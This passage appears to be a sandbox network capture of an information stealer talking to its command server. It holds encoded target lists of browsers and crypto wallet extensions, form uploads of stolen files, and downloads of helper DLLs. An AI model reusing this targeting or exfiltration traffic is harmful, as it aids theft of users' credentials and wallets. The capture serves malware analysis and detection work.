R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8R29vZ2xlIENocm9tZSBDYW5hcnl8XEdvb2dsZVxDaHJvbWUgU3hTXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8VG9yY2h8XFRvcmNoXFVzZXIgRGF0YXxjaHJvbWV8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q29jQ29jfFxDb2NDb2NcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDZW50IEJyb3dzZXJ8XENlbnRCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8MHw3U3RhcnxcN1N0YXJcN1N0YXJcVXNlciBEYXRhfGNocm9tZXwwfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8MzYwIEJyb3dzZXJ8XDM2MEJyb3dzZXJcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8UVFCcm93c2VyfFxUZW5jZW50XFFRQnJvd3Nl
Oct 21, 2024 09:06:06.073137999 CEST	512	IN	Data Raw: 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 33 4a 35 63 48 52 76 56 47 46 69 66 46 78 44 63 6e 6c 77 64 47 39 55 59 57 49 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 Data Ascii: clxVc2VyIERhdGF8Y2hyb21lfDB8Q3J5cHRvVGFifFxDcnlwdG9UYWIgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyb3dzZXIuZXhlfE9wZXJhIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE9wZXJhIEdYIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE1vemlsbGEgRml
Oct 21, 2024 09:06:06.074439049 CEST	468	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFHDHCAAKECFIDHIEBAK Host: 185.215.113.37 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 46 48 44 48 43 41 41 4b 45 43 46 49 44 48 49 45 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 66 61 36 33 35 61 32 38 63 64 32 36 61 37 64 36 66 62 35 61 63 32 36 62 35 63 64 39 33 62 36 37 62 62 64 33 39 65 38 65 64 65 37 39 65 66 37 35 32 32 61 64 32 62 32 65 65 66 65 65 30 34 36 36 30 34 62 39 39 38 33 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 44 48 43 41 41 4b 45 43 46 49 44 48 49 45 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 44 48 43 41 41 4b 45 43 46 49 44 48 49 45 42 41 4b 2d 2d 0d 0a Data Ascii: ------AFHDHCAAKECFIDHIEBAKContent-Disposition: form-data; name="token"2fa635a28cd26a7d6fb5ac26b5cd93b67bbd39e8ede79ef7522ad2b2eefee046604b9983------AFHDHCAAKECFIDHIEBAKContent-Disposition: form-data; name="message"plugins------AFHDHCAAKECFIDHIEBAK--
Oct 21, 2024 09:06:06.358118057 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 07:06:06 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Oct 21, 2024 09:06:06.358325958 CEST	212	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8
Oct 21, 2024 09:06:06.358453989 CEST	1236	IN	Data Raw: 5a 6d 68 74 5a 6d 56 75 5a 47 64 6b 62 32 4e 74 59 32 4a 74 5a 6d 6c 72 5a 47 4e 76 5a 32 39 6d 63 47 68 70 62 57 35 72 62 6d 39 38 4d 58 77 77 66 44 42 38 51 58 56 79 62 79 42 58 59 57 78 73 5a 58 51 6f 54 57 6c 75 59 53 42 51 63 6d 39 30 62 32 Data Ascii: ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29mcGhpbW5rbm98MXwwfDB8QXVybyBXYWxsZXQoTWluYSBQcm90b2NvbCl8Y25tYW1hYWNocHBua2pnbmlsZHBkbWthYWtlam5oYWV8MXwwfDB8UG9seW1lc2ggV2FsbGV0fGpvamhmZW9lZGtwa2dsYmZpbWRmYWJwZGZqYW9vbGFmfDF8MHwwfElDT05leHxmbHBpY2lpbGVtZ2hibWZ
Oct 21, 2024 09:06:06.359055042 CEST	1236	IN	Data Raw: 64 48 78 6b 61 32 52 6c 5a 47 78 77 5a 32 52 74 62 57 74 72 5a 6d 70 68 59 6d 5a 6d 5a 57 64 68 62 6d 6c 6c 59 57 31 6d 61 32 78 72 62 58 77 78 66 44 42 38 4d 48 78 4c 53 45 4e 38 61 47 4e 6d 62 48 42 70 62 6d 4e 77 63 48 42 6b 59 32 78 70 62 6d Data Ascii: dHxka2RlZGxwZ2RtbWtrZmphYmZmZWdhbmllYW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2prZW1pZGlhZWNvY25ramVofDF8MHwwfFRlbXBsZXxvb2tqbGJraWlqaW5ocG1uamZmY29mam9uYmZiZ2FvY3wxfDB8MHxHb2J5fGp
Oct 21, 2024 09:06:06.359067917 CEST	1236	IN	Data Raw: 62 6d 4e 73 5a 32 74 38 4d 58 77 77 66 44 42 38 52 6d 6c 75 62 6d 6c 6c 66 47 4e 71 62 57 74 75 5a 47 70 6f 62 6d 46 6e 59 32 5a 69 63 47 6c 6c 62 57 35 72 5a 48 42 76 62 57 4e 6a 62 6d 70 69 62 47 31 71 66 44 46 38 4d 48 77 77 66 45 78 6c 59 58 Data Ascii: bmNsZ2t8MXwwfDB8RmlubmllfGNqbWtuZGpobmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3BpfDF8MHwwfFRyZXpvciBQYXNzd29yZCBNYW5hZ2VyfGltbG9pZmtnamFnZ2hubmNqa2hnZ2RoYWxtY25ma2xrfDF8MHwwfEF1dGh
Oct 21, 2024 09:06:06.360214949 CEST	1236	IN	Data Raw: 64 57 78 30 66 47 6c 6e 61 33 42 6a 62 32 52 6f 61 57 56 76 62 58 42 6c 62 47 39 75 59 32 5a 75 59 6d 56 72 59 32 4e 70 62 6d 68 68 63 47 52 69 66 44 46 38 4d 48 77 77 66 45 39 77 5a 58 4a 68 49 46 64 68 62 47 78 6c 64 48 78 6e 62 32 70 6f 59 32 Data Ascii: dWx0fGlna3Bjb2RoaWVvbXBlbG9uY2ZuYmVrY2NpbmhhcGRifDF8MHwwfE9wZXJhIFdhbGxldHxnb2poY2RnY3BicGZpZ2NhZWpwZmhmZWdla2RnaWJsa3wwfDB8MXxUcnVzdCBXYWxsZXR8ZWdqaWRqYnBnbGljaGRjb25kYmNiZG5iZWVwcGdkcGh8MXwwfDB8UmlzZSAtIEFwdG9zIFdhbGxldHxoYmJnYmVwaGdvamlrYWp
Oct 21, 2024 09:06:06.360230923 CEST	952	IN	Data Raw: 4d 48 78 49 51 56 5a 42 53 43 42 58 59 57 78 73 5a 58 52 38 59 32 35 75 59 32 31 6b 61 47 70 68 59 33 42 72 62 57 70 74 61 32 4e 68 5a 6d 4e 6f 63 48 42 69 62 6e 42 75 61 47 52 74 62 32 35 38 4d 58 77 77 66 44 42 38 52 57 78 73 61 53 41 74 49 46 Data Ascii: MHxIQVZBSCBXYWxsZXR8Y25uY21kaGphY3BrbWpta2NhZmNocHBibnBuaGRtb258MXwwfDB8RWxsaSAtIFN1aSBXYWxsZXR8b2NqZHBtb2FsbG1nbWpiYm9nZmlpYW9mcGhiamdjaGh8MXwwfDB8VmVub20gV2FsbGV0fG9qZ2dtY2hsZ2huamxhcG1mYm5qaG9sZmpraWlkYmNofDF8MHwwfFB1bHNlIFdhbGxldCBDaHJvbWl
Oct 21, 2024 09:06:06.361900091 CEST	469	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKJDGIEHCAEHIEBFBKKK Host: 185.215.113.37 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 4b 4a 44 47 49 45 48 43 41 45 48 49 45 42 46 42 4b 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 66 61 36 33 35 61 32 38 63 64 32 36 61 37 64 36 66 62 35 61 63 32 36 62 35 63 64 39 33 62 36 37 62 62 64 33 39 65 38 65 64 65 37 39 65 66 37 35 32 32 61 64 32 62 32 65 65 66 65 65 30 34 36 36 30 34 62 39 39 38 33 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4a 44 47 49 45 48 43 41 45 48 49 45 42 46 42 4b 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4a 44 47 49 45 48 43 41 45 48 49 45 42 46 42 4b 4b 4b 2d 2d 0d 0a Data Ascii: ------AKJDGIEHCAEHIEBFBKKKContent-Disposition: form-data; name="token"2fa635a28cd26a7d6fb5ac26b5cd93b67bbd39e8ede79ef7522ad2b2eefee046604b9983------AKJDGIEHCAEHIEBFBKKKContent-Disposition: form-data; name="message"fplugins------AKJDGIEHCAEHIEBFBKKK--
Oct 21, 2024 09:06:06.645173073 CEST	335	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 07:06:06 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Oct 21, 2024 09:06:06.663189888 CEST	202	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECFHCGHJDBFIIDGDHIJD Host: 185.215.113.37 Content-Length: 6807 Connection: Keep-Alive Cache-Control: no-cache
Oct 21, 2024 09:06:06.663239002 CEST	6807	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 45 43 46 48 43 47 48 4a 44 42 46 49 49 44 47 44 48 49 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 66 61 36 33 35 Data Ascii: ------ECFHCGHJDBFIIDGDHIJDContent-Disposition: form-data; name="token"2fa635a28cd26a7d6fb5ac26b5cd93b67bbd39e8ede79ef7522ad2b2eefee046604b9983------ECFHCGHJDBFIIDGDHIJDContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Oct 21, 2024 09:06:07.479438066 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 07:06:06 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 21, 2024 09:06:08.144946098 CEST	93	OUT	GET /0d60be0de163924d/sqlite3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 21, 2024 09:06:08.425812006 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 07:06:08 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Oct 21, 2024 09:06:08.425936937 CEST	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Oct 21, 2024 09:06:08.425955057 CEST	1236	IN	Data Raw: ec 0c 89 c5 85 db 74 05 83 fb 03 75 2e 89 7c 24 08 89 5c 24 04 89 34 24 e8 19 f7 0a 00 83 ec 0c 89 c5 89 7c 24 08 89 5c 24 04 89 34 24 e8 64 fd ff ff 83 ec 0c 85 c0 75 02 31 ed c7 05 48 67 eb 61 ff ff ff ff 83 c4 1c 89 e8 5b 5e 5f 5d c3 8d b4 26 Data Ascii: tu.\|$\$4$\|$\$4$du1Hga[^_]&+C\|$\$4$w#t\|$\$4$u#u\|$D$4$t&up\|$D$4$rZ\|$D$4$Q
Oct 21, 2024 09:06:12.692863941 CEST	202	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBAEBFIIECBGCBGDHCAF Host: 185.215.113.37 Content-Length: 4599 Connection: Keep-Alive Cache-Control: no-cache
Oct 21, 2024 09:06:13.486252069 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 07:06:12 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 21, 2024 09:06:13.564663887 CEST	202	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CFIEBKEHCAKFCBFIDAAK Host: 185.215.113.37 Content-Length: 1451 Connection: Keep-Alive Cache-Control: no-cache
Oct 21, 2024 09:06:14.352957964 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 07:06:13 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 21, 2024 09:06:14.371253014 CEST	564	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGIDAFBAEBKKEBFIJEBK Host: 185.215.113.37 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 47 49 44 41 46 42 41 45 42 4b 4b 45 42 46 49 4a 45 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 66 61 36 33 35 61 32 38 63 64 32 36 61 37 64 36 66 62 35 61 63 32 36 62 35 63 64 39 33 62 36 37 62 62 64 33 39 65 38 65 64 65 37 39 65 66 37 35 32 32 61 64 32 62 32 65 65 66 65 65 30 34 36 36 30 34 62 39 39 38 33 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 44 41 46 42 41 45 42 4b 4b 45 42 46 49 4a 45 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 44 41 46 42 41 45 42 4b 4b 45 42 46 49 4a 45 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------EGIDAFBAEBKKEBFIJEBKContent-Disposition: form-data; name="token"2fa635a28cd26a7d6fb5ac26b5cd93b67bbd39e8ede79ef7522ad2b2eefee046604b9983------EGIDAFBAEBKKEBFIJEBKContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------EGIDAFBAEBKKEBFIJEBKContent-Disposition: form-data; name="file"------EGIDAFBAEBKKEBFIJEBK--
Oct 21, 2024 09:06:15.157783985 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 07:06:14 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 21, 2024 09:06:15.491904974 CEST	564	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECGHCBGCBFHIIDHIJKFB Host: 185.215.113.37 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 43 47 48 43 42 47 43 42 46 48 49 49 44 48 49 4a 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 66 61 36 33 35 61 32 38 63 64 32 36 61 37 64 36 66 62 35 61 63 32 36 62 35 63 64 39 33 62 36 37 62 62 64 33 39 65 38 65 64 65 37 39 65 66 37 35 32 32 61 64 32 62 32 65 65 66 65 65 30 34 36 36 30 34 62 39 39 38 33 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 48 43 42 47 43 42 46 48 49 49 44 48 49 4a 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 48 43 42 47 43 42 46 48 49 49 44 48 49 4a 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------ECGHCBGCBFHIIDHIJKFBContent-Disposition: form-data; name="token"2fa635a28cd26a7d6fb5ac26b5cd93b67bbd39e8ede79ef7522ad2b2eefee046604b9983------ECGHCBGCBFHIIDHIJKFBContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------ECGHCBGCBFHIIDHIJKFBContent-Disposition: form-data; name="file"------ECGHCBGCBFHIIDHIJKFB--
Oct 21, 2024 09:06:16.272731066 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 07:06:15 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 21, 2024 09:06:16.570373058 CEST	93	OUT	GET /0d60be0de163924d/freebl3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 21, 2024 09:06:16.852427959 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 07:06:16 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS 